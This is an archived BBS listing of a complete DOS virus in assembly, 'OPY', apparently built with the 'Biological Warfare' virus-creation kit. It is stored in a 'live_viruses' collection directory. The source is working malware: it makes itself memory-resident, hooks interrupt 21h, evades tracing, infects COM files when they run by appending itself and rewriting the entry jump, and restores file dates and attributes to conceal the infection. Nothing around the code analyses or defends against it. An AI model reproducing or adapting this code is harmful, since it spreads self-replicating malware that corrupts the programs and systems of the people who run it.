home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / opy.asm < prev    next >
Assembly Source File  |  1994-04-11  |  7KB  |  232 lines

  1. ; opy : OPY (c) by HypoDermic!! Part of the Mayberry Family!!!
  2. ; Created with Biological Warfare - Version 0.90ß by MnemoniX
  3.  
  4. PING            equ     0A972h
  5. PONG            equ     01F8Ch
  6.  
  7. code            segment
  8.                 org     0
  9.                 assume  cs:code,ds:code
  10.  
  11. start:
  12.                 db      0E9h,3,0          ; to virus
  13. host:
  14.                 db      0CDh,20h,0        ; host program
  15. virus_begin:
  16.                 call    $ + 3             ; BP is instruction ptr.
  17.                 pop     bp
  18.                 sub     bp,offset $ - 1
  19.  
  20.                 push    ds es
  21.  
  22.                 cli
  23.                 mov     ax,PING           ; mild anti-trace code
  24.                 push    ax
  25.                 pop     ax
  26.                 dec     sp
  27.                 dec     sp
  28.                 pop     bx
  29.                 cmp     ax,bx
  30.                 je      no_trace
  31.                 hlt
  32.  
  33. no_trace:
  34.                 sti
  35.                 in      al,21h            ; lock out & reopen keyboard
  36.                 xor     al,2
  37.                 out     21h,al
  38.                 xor     al,2
  39.                 out     21h,al
  40.  
  41.                 mov     ax,PING           ; test for residency
  42.                 int     21h
  43.                 cmp     dx,PONG
  44.                 je      installed
  45.  
  46.                 mov     ax,es                   ; Get PSP
  47.                 dec     ax
  48.                 mov     ds,ax                   ; Get MCB
  49.  
  50.                 sub     word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64
  51.                 sub     word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64
  52.                 mov     es,word ptr ds:[12h]
  53.  
  54.                 push    cs                      ; copy virus into memory
  55.                 pop     ds
  56.                 xor     di,di
  57.                 mov     si,bp
  58.                 mov     cx,(virus_end - start) / 2 + 1
  59.                 rep     movsw
  60.  
  61.                 xor     ax,ax                   ; capture interrupts
  62.                 mov     ds,ax
  63.  
  64.                 mov     si,21h * 4              ; get original int 21
  65.                 mov     di,offset old_int_21
  66.                 movsw
  67.                 movsw
  68.  
  69.                 mov     word ptr ds:[si - 4],offset new_int_21
  70.                 mov     ds:[si - 2],es          ; and set new int 21
  71.  
  72. installed:
  73.                 pop     es ds                   ; restore segregs
  74. com_exit:
  75.                 lea     si,[bp + host]          ; restore host program
  76.                 mov     di,100h
  77.                 push    di
  78.                 movsw
  79.                 movsb
  80.  
  81.                 call    fix_regs                ; fix up registers
  82.                 ret                             ; and leave
  83.  
  84. fix_regs:
  85.                 xor     ax,ax
  86.                 cwd
  87.                 xor     bx,bx
  88.                 mov     si,100h
  89.                 xor     di,di
  90.                 xor     bp,bp
  91.                 ret
  92.  
  93. ; interrupt 21 handler
  94. int_21:
  95.                 pushf
  96.                 call    dword ptr cs:[old_int_21]
  97.                 ret
  98.  
  99. new_int_21:
  100.                 cmp     ax,PING                 ; residency test
  101.                 je      ping_pong
  102.                 cmp     ax,4B00h                ; execute program
  103.                 je      execute
  104. int_21_exit:
  105.                 db      0EAh                    ; never mind ...
  106. old_int_21      dd      0
  107.  
  108. ping_pong:
  109.                 mov     dx,PONG
  110.                 iret
  111. execute:
  112.                 push    ax bx cx dx si di ds es
  113.  
  114.                 call    get_extension           ; check filename
  115.                 cmp     es:[di - 3],'DN'        ; skip if COMMAND
  116.                 jne     open_it
  117.                 jmp     cant_open
  118.  
  119. open_it:
  120.                 mov     ax,4300h                ; change attributes
  121.                 int     21h
  122.  
  123.                 push    cx dx ds
  124.                 xor     cx,cx
  125.                 call    set_attributes
  126.  
  127.                 mov     ax,3D02h                ; open file
  128.                 int     21h
  129.                 jc      cant_open
  130.                 xchg    bx,ax
  131.  
  132.                 push    cs                      ; CS = DS
  133.                 pop     ds
  134.  
  135.                 mov     ax,5700h                ; save file date/time
  136.                 int     21h
  137.                 push    cx dx
  138.                 mov     ah,3Fh
  139.                 mov     cx,28
  140.                 mov     dx,offset read_buffer
  141.                 int     21h
  142.  
  143.                 cmp     word ptr read_buffer,'ZM' ; .EXE?
  144.                 je      dont_infect             ; .EXE, skip
  145.  
  146.                 mov     al,2                    ; move to end of file
  147.                 call    move_file_ptr
  148.  
  149.                 cmp     dx,65279 - (VIRUS_SIZE + 3)
  150.                 ja      dont_infect             ; too big, don't infect
  151.  
  152.                 sub     dx,VIRUS_SIZE + 3       ; check for previous infection
  153.                 cmp     dx,word ptr read_buffer + 1
  154.                 je      dont_infect
  155.  
  156.                 add     dx,VIRUS_SIZE + 3
  157.                 mov     word ptr new_jump + 1,dx
  158.  
  159.                 mov     dx,offset read_buffer   ; save original program head
  160.                 int     21h
  161.                 mov     ah,40h                  ; write virus to file
  162.                 mov     cx,VIRUS_SIZE
  163.                 mov     dx,offset virus_begin
  164.                 int     21h
  165.  
  166.                 xor     al,al                   ; back to beginning of file
  167.                 call    move_file_ptr
  168.  
  169.                 mov     dx,offset new_jump      ; and write new jump
  170.                 int     21h
  171.  
  172. fix_date_time:
  173.                 pop     dx cx
  174.                 mov     ax,5701h                ; restore file date/time
  175.                 int     21h
  176.  
  177. close:
  178.                 pop     ds dx cx                ; restore attributes
  179.                 call    set_attributes
  180.  
  181.                 mov     ah,3Eh                  ; close file
  182.                 int     21h
  183.  
  184. cant_open:
  185.                 pop     es ds di si dx cx bx ax
  186.                 jmp     int_21_exit             ; leave
  187.  
  188.  
  189. set_attributes:
  190.                 mov     ax,4301h
  191.                 int     21h
  192.                 ret
  193.  
  194. dont_infect:
  195.                 pop     cx dx                   ; can't infect, skip
  196.                 jmp     close
  197.  
  198. move_file_ptr:
  199.                 mov     ah,42h                  ; move file pointer
  200.                 cwd
  201.                 xor     cx,cx
  202.                 int     21h
  203.  
  204.                 mov     dx,ax                   ; set up registers
  205.                 mov     ah,40h
  206.                 mov     cx,3
  207.                 ret
  208.  
  209. courtesy_of     db      '[BW]',0
  210. signature       db      'OPY (c) by HypoDermic!! Part of the Mayberry Family!!!',0
  211.  
  212. get_extension:
  213.                 push    ds                      ; find extension
  214.                 pop     es
  215.                 mov     di,dx
  216.                 mov     cx,64
  217.                 mov     al,'.'
  218.                 repnz   scasb
  219.                 ret
  220. new_jump        db      0E9h,0,0
  221.  
  222. virus_end:
  223. VIRUS_SIZE      equ     virus_end - virus_begin
  224. read_buffer     db      28 dup (?)              ; read buffer
  225.  
  226. end_heap:
  227.  
  228. MEM_SIZE        equ     end_heap - start
  229.  
  230. code            ends
  231.                 end     start
  232.